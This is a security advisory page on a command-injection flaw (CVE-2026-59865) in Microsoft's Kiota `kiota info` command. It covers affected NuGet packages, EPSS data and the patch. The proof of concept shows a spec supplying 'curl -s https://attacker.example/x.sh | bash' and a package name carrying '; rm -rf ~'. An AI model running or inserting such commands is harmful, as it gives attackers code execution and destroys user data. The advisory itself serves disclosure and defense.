How severe is CVE-2026-59865?

No CVSS score has been assigned to CVE-2026-59865 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-59865?

CVE-2026-59865 affects the following packages: Microsoft.OpenApi.Kiota (NuGet), Microsoft.OpenApi.Kiota.Builder (NuGet), Microsoft.OpenApi.Kiota (NuGet), Microsoft.OpenApi.Kiota.Builder (NuGet). Ecosystems affected: NuGet.

How do I fix CVE-2026-59865?

Update Microsoft.OpenApi.Kiota to 1.32.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-59865 is resolved across your whole dependency graph.

How do I detect CVE-2026-59865 in my NuGet dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for Microsoft.OpenApi.Kiota, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-59865 if there is no patch (or I can't update yet)?

Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Is CVE-2026-59865 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-59865 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-59865?

CVE-2026-59865 has an EPSS (Exploit Prediction Scoring System) score of 4.4%, placing it in the 91th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-59865?

CVE-2026-59865 is classified as Code Injection (CWE-94), CWE-829 (CWE-829). These weakness types describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2026-59865 published, and has it been updated?

CVE-2026-59865 was published on July 16, 2026 and was last updated on October 7, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

.NET NuGet

Not in CISA KEV

CVE-2026-59865 — Microsoft.OpenApi.Kiota

Fix: microsoft/kiota@e1d6d76

CVE-2026-59865 is a Code Injection vulnerability in Microsoft.OpenApi.Kiota. A fix is available for Microsoft.OpenApi.Kiota — see the affected versions and patch details below.

Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`

Also known asGHSA-hq9q-27g5-qwpj

Published

Jul 16, 2026

Updated

Oct 7, 2026

Affected

4 pkgs

Patched

4 / 4

Exploits

None indexed

Exploitation data as of Oct 16, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
A successful exploit gives an attacker total control of the affected component, not partial access.
CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-59865.

EPSS Exploitation Probability

via FIRST.org ↗

4.4%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs91th percentile — riskier than 91% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

4 pkgs affected

.NETMicrosoft.OpenApi.Kiota.NETMicrosoft.OpenApi.Kiota.Builder.NETMicrosoft.OpenApi.Kiota.NETMicrosoft.OpenApi.Kiota.Builder

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects NuGet packages — download data is not available via public APIs for these ecosystems.

Description

Summary

kiota info — the command developers run to learn which packages to install after generating a client — read the x-ms-kiota-info extension from the OpenAPI description and presented the spec-supplied dependencyInstallCommand (and dependency name/version) as the tool's own recommended install command, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description:

$ kiota info -d <attacker-spec> -l CSharp
   ...
   Hint: use the install command to install the dependencies.
   Example:
      curl -s https://attacker.example/x.sh | bash   # attacker-controlled

A developer who followed kiota's explicit instruction (run the suggested install command) executed attacker-controlled shell — command injection → RCE. The IDE-facing kiota info --json output, which the Kiota VS Code extension consumes to offer/run dependency installation, exposed the raw command string directly, so an "install dependencies" action in the IDE could run it automatically.

Confirmed on Kiota 1.32.4.

Details

x-ms-kiota-info.languagesInformation.<language>.dependencyInstallCommand was emitted verbatim as the install-command example, and dependencies[].name/version were shown verbatim in the package table:

# spec
x-ms-kiota-info:
  languagesInformation:
    CSharp:
      dependencyInstallCommand: "curl -s https://attacker.example/x.sh | bash"
      dependencies: [{ name: "Evil.Pkg; rm -rf ~", version: "1.0.0", type: bundle }]

Without x-ms-kiota-info, kiota suggests its own trusted command (e.g. dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0); the spec's value replaced it. kiota info --json (consumed by the Kiota VS Code extension) emitted the attacker command in dependencyInstallCommand.

Impact

A developer who ran kiota info on an attacker-controlled or compromised OpenAPI description and followed kiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI host. The Kiota VS Code extension, which surfaced/ran dependencyInstallCommand from the --json output, could make this automatic. CWE-94 / CWE-829.

Precondition: the description is from an untrusted source (or a trusted one that was tampered with), and the recommended command is run (manually per kiota's hint, or by the IDE).

Patches

Fixed in 1.29.1 and 1.32.5 (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied dependencyInstallCommand in x-ms-kiota-info was removed entirely: kiota info no longer reads or presents a description-provided install command and only surfaces kiota's own built-in, package-manager templates. The --json output no longer carries a spec-controlled command string for the IDE to run.

Remediation

Upgrade to Kiota 1.29.1, 1.32.5, or later. Update the Kiota VS Code extension to a version built against 1.32.5+.

Affected Packages

4 total 4 fixed

Ecosystem	Package	Vulnerable range	Fix
.NETNuGet	`Microsoft.OpenApi.Kiota`	≥ 1.30.0&&< 1.32.5	1.32.5`dotnet add package Microsoft.OpenApi.Kiota --version 1.32.5`
.NETNuGet	`Microsoft.OpenApi.Kiota.Builder`	≥ 1.30.0&&< 1.32.5	1.32.5`dotnet add package Microsoft.OpenApi.Kiota.Builder --version 1.32.5`
.NETNuGet	`Microsoft.OpenApi.Kiota`	all versions	1.29.1`dotnet add package Microsoft.OpenApi.Kiota --version 1.29.1`
.NETNuGet	`Microsoft.OpenApi.Kiota.Builder`	all versions	1.29.1`dotnet add package Microsoft.OpenApi.Kiota.Builder --version 1.29.1`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for Microsoft.OpenApi.Kiota, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update Microsoft.OpenApi.Kiota to 1.32.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-59865 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Summary `kiota info` — the command developers run to learn which packages to install after generating a client — read the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied `dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install command**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised description: ``` $ kiota info -d <attacker-spec> -l CSharp ... Hint: use the install command to install the dependencies. Example: curl -s https://attacker.example/x.

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